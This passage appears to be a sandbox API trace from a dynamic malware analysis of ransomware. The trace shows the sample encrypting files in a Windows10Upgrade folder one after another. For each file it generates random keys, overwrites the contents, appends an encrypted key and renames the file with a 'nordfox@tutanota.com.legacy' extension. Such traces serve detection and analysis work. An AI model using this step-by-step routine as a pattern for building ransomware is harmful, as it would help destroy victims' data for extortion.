lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x52 [0115.301] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.301] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.302] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.302] WriteFile (in: hFile=0x638, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.302] CloseHandle (hObject=0x638) returned 1 [0115.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0115.302] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\eula.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0115.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0115.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0115.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0115.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0115.304] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0115.304] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.304] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm", dwFileAttributes=0x80) returned 1 [0115.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0115.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0115.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0115.305] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.305] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=65710) returned 1 [0115.305] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100ae) returned 0x2e20fd8 [0115.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100ae) returned 0x2e31090 [0115.307] ReadFile (in: hFile=0x638, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0x100ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x100ae, lpOverlapped=0x0) returned 1 [0115.316] SetFilePointer (in: hFile=0x638, lDistanceToMove=-65710, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.316] WriteFile (in: hFile=0x638, lpBuffer=0x2e31090*, nNumberOfBytesToWrite=0x100ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e31090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100ae, lpOverlapped=0x0) returned 1 [0115.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0115.316] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e31090 | out: hHeap=0x520000) returned 1 [0115.318] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x100ae [0115.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.319] WriteFile (in: hFile=0x638, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0x638, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.323] CloseHandle (hObject=0x638) returned 1 [0115.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0115.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.323] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0115.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0115.337] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0115.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0115.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.337] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0115.338] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.338] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css", dwFileAttributes=0x80) returned 1 [0115.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0115.338] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.338] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.338] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5224) returned 1 [0115.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1468) returned 0x582160 [0115.339] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1468) returned 0x609bd8 [0115.339] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0x1468, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x1468, lpOverlapped=0x0) returned 1 [0115.356] SetFilePointer (in: hFile=0x638, lDistanceToMove=-5224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.356] WriteFile (in: hFile=0x638, lpBuffer=0x609bd8*, nNumberOfBytesToWrite=0x1468, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1468, lpOverlapped=0x0) returned 1 [0115.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.357] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.357] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1468 [0115.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.357] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.357] WriteFile (in: hFile=0x638, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.358] WriteFile (in: hFile=0x638, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.358] CloseHandle (hObject=0x638) returned 1 [0115.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0115.358] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0115.358] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_oobe.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0115.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0115.360] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0115.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0115.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.360] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0115.360] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm", dwFileAttributes=0x80) returned 1 [0115.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0115.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0115.361] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0115.361] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.361] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=55866) returned 1 [0115.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xda3a) returned 0x2e20fd8 [0115.363] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xda3a) returned 0x2e2ea20 [0115.363] ReadFile (in: hFile=0x638, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0xda3a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xda3a, lpOverlapped=0x0) returned 1 [0115.366] SetFilePointer (in: hFile=0x638, lDistanceToMove=-55866, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.366] WriteFile (in: hFile=0x638, lpBuffer=0x2e2ea20*, nNumberOfBytesToWrite=0xda3a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e2ea20*, lpNumberOfBytesWritten=0x2e1f9bc*=0xda3a, lpOverlapped=0x0) returned 1 [0115.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0115.367] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e2ea20 | out: hHeap=0x520000) returned 1 [0115.369] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xda3a [0115.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.369] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.370] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.370] WriteFile (in: hFile=0x638, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.370] CloseHandle (hObject=0x638) returned 1 [0115.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.370] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0115.370] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0115.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0115.372] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0115.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.372] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.372] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0115.373] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css", dwFileAttributes=0x80) returned 1 [0115.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0115.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0115.425] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.425] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6700) returned 1 [0115.426] ReadFile (in: hFile=0x638, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1a2c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1a2c, lpOverlapped=0x0) returned 1 [0115.434] SetFilePointer (in: hFile=0x638, lDistanceToMove=-6700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.434] WriteFile (in: hFile=0x638, lpBuffer=0x60b610*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b610*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1a2c, lpOverlapped=0x0) returned 1 [0115.434] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1a2c [0115.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.434] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.435] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.435] WriteFile (in: hFile=0x638, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.435] CloseHandle (hObject=0x638) returned 1 [0115.435] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default_eos.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0115.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.438] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.htm", dwFileAttributes=0x80) returned 1 [0115.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0115.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0115.439] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.439] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=62541) returned 1 [0115.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf44d) returned 0x2e20fd8 [0115.440] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf44d) returned 0x2e30430 [0115.440] ReadFile (in: hFile=0x638, lpBuffer=0x2e20fd8, nNumberOfBytesToRead=0xf44d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesRead=0x2e1f9bc*=0xf44d, lpOverlapped=0x0) returned 1 [0115.455] SetFilePointer (in: hFile=0x638, lDistanceToMove=-62541, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.455] WriteFile (in: hFile=0x638, lpBuffer=0x2e30430*, nNumberOfBytesToWrite=0xf44d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e30430*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf44d, lpOverlapped=0x0) returned 1 [0115.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0115.456] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e30430 | out: hHeap=0x520000) returned 1 [0115.457] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf44d [0115.457] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.458] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.458] WriteFile (in: hFile=0x638, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.459] WriteFile (in: hFile=0x638, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.459] CloseHandle (hObject=0x638) returned 1 [0115.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0115.459] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.459] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default.htm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.htm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0115.460] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0115.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0115.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0115.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0115.461] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0115.461] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0115.461] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.css", dwFileAttributes=0x80) returned 1 [0115.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.461] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8648 [0115.461] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.461] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.462] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5767) returned 1 [0115.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1687) returned 0x609bd8 [0115.462] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1687) returned 0x60b268 [0115.462] ReadFile (in: hFile=0x638, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1687, lpOverlapped=0x0) returned 1 [0115.463] SetFilePointer (in: hFile=0x638, lDistanceToMove=-5767, lpDistanceToMoveHigh=0x0, 